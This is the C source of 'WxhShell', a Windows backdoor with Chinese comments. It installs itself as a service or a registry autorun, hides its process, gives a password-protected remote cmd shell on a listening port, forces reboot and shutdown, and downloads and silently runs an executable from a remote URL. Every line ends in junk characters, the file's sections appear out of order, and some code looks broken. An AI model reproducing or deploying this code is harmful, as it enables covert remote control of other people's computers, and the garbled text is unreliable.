    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @?[}\9dW  
    else { >m`<AynJ  
    closesocket(wsh); 22v= A6 =  
    ExitThread(0); HVM(LHm=:  
    } NYF 7Ep; _  
    break; 4]ETF+   
    } 'X1/tB8*  
  // 获取shell qyY]: (8  
  case 's': { Q|W~6  
    CmdShell(wsh); RjG=RfB'V  
    closesocket(wsh); /8s>JPXKH[  
    ExitThread(0); KA]5tVQA  
    break; qf B!)Y  
  } Vg1MA  
  // 退出 d)v'K5  
  case 'x': { :.F;LF&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XbW 1`PH  
    CloseIt(wsh); SQI =D8  
    break; {'q(a4  
    } -ob1_0  
  // 离开 hkvymHaG  
  case 'q': { |6zx YuX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hu7WU;w  
    closesocket(wsh); ~5wT|d  
    WSACleanup(); @DCw(.k*  
    exit(1); d?1[xv;  
    break; 9 IY1"j0O  
        } |F52)<\  
  } C3e0d~C  
  } #w]@yL]|is  
+Uf+`  
  // 提示信息 :pg]0X;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !l#n.Fx&3  
} Q`(.Blgm;  
  } '&Tq/;Ml  
:P2 0g](  
  return; bRK[u\,  
} 0z=^_Fb  
rn%q*_3-o  
// shell模块句柄 WRfhxl  
int CmdShell(SOCKET sock) 3^p;'7x  
{ hG lRf_{  
STARTUPINFO si; {t QZqqdn@  
ZeroMemory(&si,sizeof(si)); 5jK9cF$>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g ,""j`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =&v&qn e9  
PROCESS_INFORMATION ProcessInfo; }#QYZ nR  
char cmdline[]="cmd"; CC{{@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [[VB'Rs  
  return 0; 6Bn%7ZBv  
} ">"B  
qgZN&7Nn:  
// 自身启动模式 ~ZZJ/Cu  
int StartFromService(void) hYU4%"X  
{ Y|N.R(sAs&  
typedef struct 8YwSaBwO  
{ p& +w  
  DWORD ExitStatus; Tn(c%ytN  
  DWORD PebBaseAddress; iP+3)  
  DWORD AffinityMask; VW *d*!  
  DWORD BasePriority; n~G-X  
  ULONG UniqueProcessId; A&($X)t  
  ULONG InheritedFromUniqueProcessId; Qwu~ {tf+'  
}   PROCESS_BASIC_INFORMATION; `{W>Dy  
G}p* oz~  
PROCNTQSIP NtQueryInformationProcess; Q a8;MxK`  
6`sS8Ar&u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |GnqfD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {{ /-v3n  
1JSKK.LuJV  
  HANDLE             hProcess; 8+OcM ;0  
  PROCESS_BASIC_INFORMATION pbi; ''~#tK f  
>Yt+LdG!-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @6:J$B~)u  
  if(NULL == hInst ) return 0; $z*Y:vFP  
w2e 9Ue~WH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +'QE-#%{=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^%~ux0%^T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *HXx;:  
f%5 s8)  
  if (!NtQueryInformationProcess) return 0; ? _Y2'O  
 Vq K/GWg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yUp"%_t0  
  if(!hProcess) return 0; S 0L"5B@  
0dKi25J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xRPU GGv  
Hlye:.$  
  CloseHandle(hProcess); KJ;NcUq  
!Au9C   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \rY<DxtOq  
if(hProcess==NULL) return 0; K"U[OZC`  
@Zov&01  
HMODULE hMod; :Vl2\H=P  
char procName[255]; ;Alw`'  
unsigned long cbNeeded; EwH_k  
<\C/;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); } qn@8}  
w*7BiZ{s<  
  CloseHandle(hProcess); 0) T`&u3!  
Ed=]RR 4R  
if(strstr(procName,"services")) return 1; // 以服务启动 E{B=%ZNnm  
|$aTJ9 Iq:  
  return 0; // 注册表启动 >,s.!vpK  
} ;^Hg\a  
b Q6<R4  
// 主模块 dyMj=e  
int StartWxhshell(LPSTR lpCmdLine) WyD L ah^/  
{ n%1I}?$fO  
  SOCKET wsl; i%eq!q  
BOOL val=TRUE; rLzN #Zoi  
  int port=0; xD3Y-d9  
  struct sockaddr_in door; '2BE"e  
{Mx3G*hr  
  if(wscfg.ws_autoins) Install(); Y] "_}  
B>"O~ gZ{#  
port=atoi(lpCmdLine); fKN&0N |^R  
{3{cU#\QA  
if(port<=0) port=wscfg.ws_port; h8me.=S&  
[[sfuJD  
  WSADATA data; [h^>Iq (Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6~_ TXy/  
e;ej/)no`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mz kv/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fXJbC+  
  door.sin_family = AF_INET; h<8.0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O)E8'Oe"Q  
  door.sin_port = htons(port); hwR_<'!  
IxQ(g#sj_k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .3 JLa8y  
closesocket(wsl); R<GnPN:c  
return 1; 1>"[b8a/  
} q;<=MO/  
+>uiI4g  
  if(listen(wsl,2) == INVALID_SOCKET) { CCQ38P@rv  
closesocket(wsl); E"l/r4*f@  
return 1; bXw!fYm&  
} #-*#? -  
  Wxhshell(wsl); 5!pof\/a  
  WSACleanup(); 8UahoNrSt  
>.)m|,  
return 0; `f~\d.*U  
!8 V  
} c{X:0man  
WE|-zo  
// 以NT服务方式启动 n8dJ6"L<"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zc n/LF  
{ k,mgiGrQ  
DWORD   status = 0; 1K`7  
  DWORD   specificError = 0xfffffff; f=L&>X  
x&kM /z?/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +"i|)yUYy}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K_" denzT+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TOe=6 Z5h  
  serviceStatus.dwWin32ExitCode     = 0; /#C}1emK  
  serviceStatus.dwServiceSpecificExitCode = 0; sBLf(Q,  
  serviceStatus.dwCheckPoint       = 0; \69h>h  
  serviceStatus.dwWaitHint       = 0; {Hu@|Q\ ~&  
<V~B8C!)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oY K(=j  
  if (hServiceStatusHandle==0) return; ~Gz b^  
8NJxtT~0c~  
status = GetLastError(); *@zh  
  if (status!=NO_ERROR) BsJ d*-:X  
{ ,3As Ng  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]#fmih^  
    serviceStatus.dwCheckPoint       = 0; m/T3Um  
    serviceStatus.dwWaitHint       = 0; P~H?[ ;  
    serviceStatus.dwWin32ExitCode     = status; ;;zQVD )X  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5S EyAhB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m);0sb  
    return; iW # |N^  
  } !d)Vr5x  
w I7iE4\vz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1_of;=9V  
  serviceStatus.dwCheckPoint       = 0; NZTG)<  
  serviceStatus.dwWaitHint       = 0; .EF(<JC?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5C|Y-G  
} L^{1dVGWNa  
6Kbc:wlR  
// 处理NT服务事件,比如:启动、停止 E<~Fi .M;\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +'ZJ]  
{ >OLKaghV.5  
switch(fdwControl) ,DZoE~  
{ 0eP ]  
case SERVICE_CONTROL_STOP: .T63:  
  serviceStatus.dwWin32ExitCode = 0; S /kM#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4*D'zJsJ  
  serviceStatus.dwCheckPoint   = 0; Hrk]6*  
  serviceStatus.dwWaitHint     = 0; \|gE=5!Am=  
  { z[0+9=<Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <0w"$.K#3  
  } sYG:\>}ie  
  return; )9]DJ!]&Q"  
case SERVICE_CONTROL_PAUSE: .S{FEV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QCD MRh n  
  break; J_|LG rt})  
case SERVICE_CONTROL_CONTINUE: F+m%PVW:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O?=YY@j  
  break; 2I@d=T{K  
case SERVICE_CONTROL_INTERROGATE: $5]}]  
  break; 2I|`j^  
}; c;13V(Djy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]VkM)< +  
} +QZ}c@'r  
H:k?#7D(  
// 标准应用程序主函数 yZ:AJNb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ms]r1x"  
{ 6/5Xy69:h  
=<;C5kSD  
// 获取操作系统版本 .DX-biX,  
OsIsNt=GetOsVer(); x@)G@'vV|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JH|]B|3  
@7? O#WmL  
  // 从命令行安装 -`8pahI  
  if(strpbrk(lpCmdLine,"iI")) Install(); +v.<Fw2k#  
]<xzCPB  
  // 下载执行文件 B@ xjwBUk  
if(wscfg.ws_downexe) { RDSkFK( D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {O=PVW2S  
  WinExec(wscfg.ws_filenam,SW_HIDE); #aua6V!"  
} z8@[]6cW  
K7-z.WTUR  
if(!OsIsNt) { 8)o%0#;0B  
// 如果时win9x,隐藏进程并且设置为注册表启动 {M^BY,%*  
HideProc(); BI|TM2oa  
StartWxhshell(lpCmdLine); P{ K;vEp  
} \GD\N=?~  
else GyZpdp!  
  if(StartFromService()) bl3?C  
  // 以服务方式启动 $ o }  
  StartServiceCtrlDispatcher(DispatchTable); MtD0e@  
else Mp7X+o/  
  // 普通方式启动 {44#<A<  
  StartWxhshell(lpCmdLine); `9* |Y8:  
) w1`<7L  
return 0;  Iysp)  
} &|K9qa~)Y  
`6:B0-r  
qI%X/'  
Z_h-5VU-  
=========================================== j2RdBoCt  
0sA+5*mdM  
kj>!&W57  
sW,JnR  
h.*v0cq:  
:Dj0W8V  
" S?[@/35)  
7C9_;81_Dt  
#include <stdio.h> /os,s[w  
#include <string.h> |kGQ~:k+P  
#include <windows.h> +WjX@rSq[  
#include <winsock2.h> ~+)>D7  
#include <winsvc.h> nCS" l5  
#include <urlmon.h> `*ALb|4ilG  
bgYUsc*uR  
#pragma comment (lib, "Ws2_32.lib") N XCvS0/h  
#pragma comment (lib, "urlmon.lib") ='t}d>l  
%X BMi ~  
#define MAX_USER   100 // 最大客户端连接数 !+u K@z&G  
#define BUF_SOCK   200 // sock buffer agkGUK/  
#define KEY_BUFF   255 // 输入 buffer +^DDWVp  
Z0[d;m*  
#define REBOOT     0   // 重启 ]Zz.n5c  
#define SHUTDOWN   1   // 关机 ueyQ&+6r  
2}n7f7[/b  
#define DEF_PORT   5000 // 监听端口 \2^o,1r/  
+'$5Jtz  
#define REG_LEN     16   // 注册表键长度 U0;pl2  
#define SVC_LEN     80   // NT服务名长度 VTa%  
5HaI$>h6  
// 从dll定义API c;Gf$9?iC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c`@";+|r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iax0V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *M ^ <oG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b_X&>^4Dkl  
1\a.o[g3e  
// wxhshell配置信息 FeZ*c~q  
struct WSCFG { Za,myuI+  
  int ws_port;         // 监听端口 \ZA@r|=$  
  char ws_passstr[REG_LEN]; // 口令 L54]l^ls>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 61w ({F  
  char ws_regname[REG_LEN]; // 注册表键名 ob;O,&e0>  
  char ws_svcname[REG_LEN]; // 服务名 \U3v5|Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O 6ph_$nt.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [MuZ^'dR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?t5<S]'r$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UqD ]@s`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HbRvU}C1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >6R3KJe  
r )HZaq  
}; /9=r.Vxh  
oY+p;&H  
// default Wxhshell configuration N% ?R(  
struct WSCFG wscfg={DEF_PORT, _X|prIOb=  
    "xuhuanlingzhe", l8khu)\n4R  
    1, la}cGZ; p.  
    "Wxhshell", f^ja2.*%?  
    "Wxhshell", a^8PB|G  
            "WxhShell Service", L~%7=]m  
    "Wrsky Windows CmdShell Service", %!r.) Wx|2  
    "Please Input Your Password: ", pC]XbokES  
  1, Re2&qxE  
  "http://www.wrsky.com/wxhshell.exe", snWe&-  
  "Wxhshell.exe" tpb lm|sW  
    }; t#xfso`4o  
!6l*Jc3  
// 消息定义模块 (g*j+i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ze[,0Y!u&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?;y-skh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \1SC:gN*#  
char *msg_ws_ext="\n\rExit."; i),bAU!+m  
char *msg_ws_end="\n\rQuit."; 'J$@~P  
char *msg_ws_boot="\n\rReboot..."; 9GRQ^E  
char *msg_ws_poff="\n\rShutdown..."; eyuyaSE  
char *msg_ws_down="\n\rSave to "; ):_@i  
vz~Oi  
char *msg_ws_err="\n\rErr!"; 51u\am'T  
char *msg_ws_ok="\n\rOK!"; yM`u]p1  
rvlvk"  
char ExeFile[MAX_PATH]; 9;'#,b*(  
int nUser = 0; IJ~j(.W  
HANDLE handles[MAX_USER]; |RXQ_|  
int OsIsNt; _!E&%=f  
)o<^6Ic%7  
SERVICE_STATUS       serviceStatus; ~8yh,U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tXqX[Td`0g  
2n$Wey[  
// 函数声明 peF)U !`D  
int Install(void); 1yZA_x15:  
int Uninstall(void); L$ i:~6  
int DownloadFile(char *sURL, SOCKET wsh); O ,9^R  
int Boot(int flag); J&s$Wqf  
void HideProc(void); ^vPsp?  
int GetOsVer(void); d]Y;rqjue  
int Wxhshell(SOCKET wsl); MI'"Xzp{s  
void TalkWithClient(void *cs);  4=ovm[  
int CmdShell(SOCKET sock); ,zdGY]$  
int StartFromService(void); i!RfUod  
int StartWxhshell(LPSTR lpCmdLine); lm 96:S  
b"Q8[k |d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Aj|->Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |g.CS$'#Nt  
33EF/k3vW  
// 数据结构和表定义 Av?R6  
SERVICE_TABLE_ENTRY DispatchTable[] = <zL_6Y2  
{ eZ+6U`^t  
{wscfg.ws_svcname, NTServiceMain}, .>eRX%  
{NULL, NULL} NhCucSU<K  
}; P1Z"}Qw  
/OWwC%tM/  
// 自我安装 xnt)1Q  
int Install(void) ;Y[D#Ja-  
{ n| {#5#  
  char svExeFile[MAX_PATH]; SDC'S]{ew  
  HKEY key; u5Vgi0}A  
  strcpy(svExeFile,ExeFile); bD0l^?Hu!  
rVqQo` K\  
// 如果是win9x系统,修改注册表设为自启动 j<P;:  
if(!OsIsNt) { s~].iQJ{B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W2#<]]-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  [#C6K '  
  RegCloseKey(key); GdcXU:J /  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >x JzV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~1%*w*  
  RegCloseKey(key); IJ&Lk=2E]  
  return 0; W-l+%T!  
    } xa@$cxt  
  } v@soS1V!  
} o0]YDX@T  
else { nj'5iiV`]  
5XUm}D$  
// 如果是NT以上系统,安装为系统服务 Ga5*tWj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :Y\ ~[Y  
if (schSCManager!=0) **L&I5Hhm  
{ p X{wEc6}  
  SC_HANDLE schService = CreateService jwT` Z  
  ( gDVsi  
  schSCManager, Q{|%kU"  
  wscfg.ws_svcname, P,ueLG=  
  wscfg.ws_svcdisp, 953qz]Q8  
  SERVICE_ALL_ACCESS, vI I{i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U8 Zb&6  
  SERVICE_AUTO_START, @k&6\1/U  
  SERVICE_ERROR_NORMAL, \^*:1=|7u]  
  svExeFile, $j.;$~F  
  NULL, _i}b]xfM  
  NULL, I09 W=  
  NULL, O{_t*sO9q*  
  NULL, vt{[_L(h  
  NULL r=5 S0  
  ); )0-A;X2  
  if (schService!=0) JFVx&  
  { 6[3Xe_  
  CloseServiceHandle(schService); /iFn =pk1?  
  CloseServiceHandle(schSCManager); AN Fes*8j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IQ @9S  
  strcat(svExeFile,wscfg.ws_svcname); S>0%jCjW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `P;r[j"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q?i_Nl/|  
  RegCloseKey(key); Qdq;C,}Ai.  
  return 0; @  W>@6E  
    } ~ tA ^K  
  } FC] *^B  
  CloseServiceHandle(schSCManager); P|<V0 Vs.  
} "00j]e.  
} ~j'D%:[+VH  
1`K-f m)  
return 1; Q;$k?G=l  
} 'z;(Y*jb  
Xx{| [2`  
// 自我卸载 VGc*aQYa  
int Uninstall(void) b^$`2m-?@f  
{ ZLT?G  
  HKEY key; V|MHDMD=  
4{YA['  
if(!OsIsNt) { 3p=Xv%xd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E:x@O8F  
  RegDeleteValue(key,wscfg.ws_regname); g:M;S"U3*Y  
  RegCloseKey(key); ?Fl}@EA#M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n?fy@R  
  RegDeleteValue(key,wscfg.ws_regname); R%WY!I8C  
  RegCloseKey(key); fWmc$r5n](  
  return 0; ,2fi`9=\  
  } ]ZcivnN#  
} x vs=T  
} MW 7~=T  
else { * @4@eQF  
9fEe={ B+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'Gn>~m  
if (schSCManager!=0) T]De{nHu  
{ SA +d4P_T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +c))fPuV  
  if (schService!=0) O`~#X w  
  { OJcS%-~  
  if(DeleteService(schService)!=0) { /aI@2]|~  
  CloseServiceHandle(schService); yjjq&Cn  
  CloseServiceHandle(schSCManager); .7.lr[$g  
  return 0;  `Eh>E,  
  } PY5&Fwjc  
  CloseServiceHandle(schService); uCDe>Q4@/  
  } { LvD\4h"  
  CloseServiceHandle(schSCManager); mKZzSd)p  
} @:}c(j  
} y|6n:<o  
.G[/4h :.  
return 1; =wh[D$n$~  
} e_=K0fFz  
@ wR3L:@  
// 从指定url下载文件 kkq1:\pZ]a  
int DownloadFile(char *sURL, SOCKET wsh) ab2FK  
{ ]bY|>q  
  HRESULT hr; e'K~WNT  
char seps[]= "/"; efXnF*Z  
char *token; j;3I`:  
char *file; )q=F_:$  
char myURL[MAX_PATH]; }3{eVct#|  
char myFILE[MAX_PATH]; m.K cTM%j  
9r?Z'~,Za  
strcpy(myURL,sURL); bTum|GWf  
  token=strtok(myURL,seps); #dZs[R7h  
  while(token!=NULL) qdix@ @  
  { Te-p0x?G.  
    file=token; n5$#M  
  token=strtok(NULL,seps); 4H#-2LV`  
  } x(Bt[=,K3  
ZM.'W}J{ *  
GetCurrentDirectory(MAX_PATH,myFILE); PQ 4mNjXN  
strcat(myFILE, "\\"); RsZj  
strcat(myFILE, file); sUG!dwqqd  
  send(wsh,myFILE,strlen(myFILE),0); 3(WijtH  
send(wsh,"...",3,0); +HS]kFH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eN=jWUoCh  
  if(hr==S_OK) 3YvKHn|V"  
return 0; ~m6=s~Vn  
else t1?aw<  
return 1; Z mJ<h&  
n~ *|JJ*`  
} nQiZ6[L  
8ZY]-%  
// 系统电源模块 E8!`d}\#  
int Boot(int flag) ]>X_E%`G<b  
{ _9h$8(wjn  
  HANDLE hToken; [J,.?'V  
  TOKEN_PRIVILEGES tkp; no*)M7  
~&<#H+O  
  if(OsIsNt) { 4CM'I~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RCWmdR#}V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RNk|h  
    tkp.PrivilegeCount = 1; 1{a%V$S[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4qid+ [B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Wlc&QOfF  
if(flag==REBOOT) { g+#awi7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M6g8+sio  
  return 0; o !tC{"g  
} K?uZIDo  
else { +x2JC' -H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #LasTN9  
  return 0; ok\-IU?  
} K0.aU  
  } 8&2 +=<Q~  
  else { m Q9dF,  
if(flag==REBOOT) { @su<h\)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FP=B/!g  
  return 0; c]^P$F8U  
} .ck?JXg  
else { !l%:   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sT)>Vdwf_  
  return 0; Tc^ 0W=h  
} *~^63Nx!  
} 0>{ ]*  
?h}NL5a  
return 1; 27SHj9I  
} hN3FH# YO  
r)^sHpK:`  
// win9x进程隐藏模块 : B^"V\WE  
void HideProc(void) |&#N&t  
{ 0-Mzb{n5  
'9}&@;-_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i7#4&r  
  if ( hKernel != NULL ) DPI[~  
  { B\Nbt!Ps  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tj13!Cc}e`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,:t,$A  
    FreeLibrary(hKernel); vJ&_-CX   
  } 4}H+hk8-  
8US#SI'x  
return; Lwl1ta-  
} -EiTP:A  
J p?XV<3Z  
// 获取操作系统版本 ^+>*Y=fl  
int GetOsVer(void) cB uuq  
{ VVeJe"!t  
  OSVERSIONINFO winfo; h&'|^;FM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wKM9fs  
  GetVersionEx(&winfo); =|?`5!A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /QQRy_Z1)  
  return 1; /PwiZ A3sA  
  else %/A>'p,~  
  return 0; KfiSQ!{  
} ?#z$(upQ  
Py;5z  
// 客户端句柄模块 6}6Q:V|  
int Wxhshell(SOCKET wsl) *)E${\1'<  
{ d"FB+$  
  SOCKET wsh; G0 )[(s  
  struct sockaddr_in client; V ?Jy  
  DWORD myID; $S#Z>d*1!  
^2k jO/  
  while(nUser<MAX_USER) Rt#QW*h\|i  
{ YmC}q20;  
  int nSize=sizeof(client); CP7Fe{P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8B G Z  
  if(wsh==INVALID_SOCKET) return 1; <U3X4)r  
@vl$[Z|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !8G)` '  
if(handles[nUser]==0) &Gt{9#  
  closesocket(wsh); 5&n:i,  
else [BE_^d5&  
  nUser++; => (g_\  
  }  R0Vt_7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Eg)24C R 4  
(%B{=w}8  
  return 0; `H! (hMMV  
} ^{}G4BEY  
NTu |cX\R  
// 关闭 socket j=O+U _w  
void CloseIt(SOCKET wsh) .aNh>`OT'  
{ >kQp@r\nQ  
closesocket(wsh); sBadiDG~9  
nUser--; Jx+6Kq(  
ExitThread(0); 9Vt ^q%DC  
} 8Yq06o38C  
$\u\ 4 n  
// 客户端请求句柄 pq) =  
void TalkWithClient(void *cs) Lp&nO  
{ =2 HY]H  
,?8a3%  
  SOCKET wsh=(SOCKET)cs; TQ(q [:>  
  char pwd[SVC_LEN]; IH`Q=Pj  
  char cmd[KEY_BUFF]; FDl/7P`b(  
char chr[1]; ;U'\"N9  
int i,j; :TTq   
,!{8@*!=s  
  while (nUser < MAX_USER) { =p;cJ%#2]'  
d_`MS@2  
if(wscfg.ws_passstr) { rnK]3Ust  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wr[LC&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xQ"uC!Gu4  
  //ZeroMemory(pwd,KEY_BUFF); q1VKoKb6\:  
      i=0; T ~xVHk1  
  while(i<SVC_LEN) { |qX ?F`  
a[K&;)  
  // 设置超时 L/u|90) L  
  fd_set FdRead; +ay C 0  
  struct timeval TimeOut; LaJvPOQ  
  FD_ZERO(&FdRead); >>{):r Z  
  FD_SET(wsh,&FdRead); J2Dn  
  TimeOut.tv_sec=8; @(#vg\UH  
  TimeOut.tv_usec=0; U,U=udsi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pb97S^K[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UCVYO. 9"  
WR #XPbk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lR %#R  
  pwd=chr[0]; &4OJJ9S  
  if(chr[0]==0xd || chr[0]==0xa) { Ar>B_*dr  
  pwd=0; )|=1;L  
  break; V(TtOuv  
  } I">">  
  i++; .!4'Y}  
    } hF-QbO  
KiXfR\S~C  
  // 如果是非法用户,关闭 socket 8[@,i|kgg0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +'m9b7+v  
} 11l=zv  
->I.D?p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FsqH:I4O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5X^\AW  
NV./p`k  
while(1) { gxO~44"  
~m fG Yk"  
  ZeroMemory(cmd,KEY_BUFF); Q9cSrU[$  
,[ 2N3iH  
      // 自动支持客户端 telnet标准   7FH-l(W  
  j=0; M %,\2!$  
  while(j<KEY_BUFF) { q;9X8 _  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }C @xl9S"  
  cmd[j]=chr[0]; &W>\Vl1  
  if(chr[0]==0xa || chr[0]==0xd) { f hK<P_}  
  cmd[j]=0; ;SXkPs3q  
  break; "7sv@I_j  
  } BQfnoF  
  j++; )Cdw_Yx  
    } L!JC)p.  
Pjh;;k|V  
  // 下载文件 f_ MK4  
  if(strstr(cmd,"http://")) { Ihf>FMl:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]ttF''lH  
  if(DownloadFile(cmd,wsh)) vL_yM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "vk]y  
  else %scw]oF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B6F!"  
  } 3fLdceT  
  else { $x }R2  
:'r* 5EX  
    switch(cmd[0]) { |gV~U~A]  
  3\Amj}RJ  
  // 帮助 iJOoO"Ai  
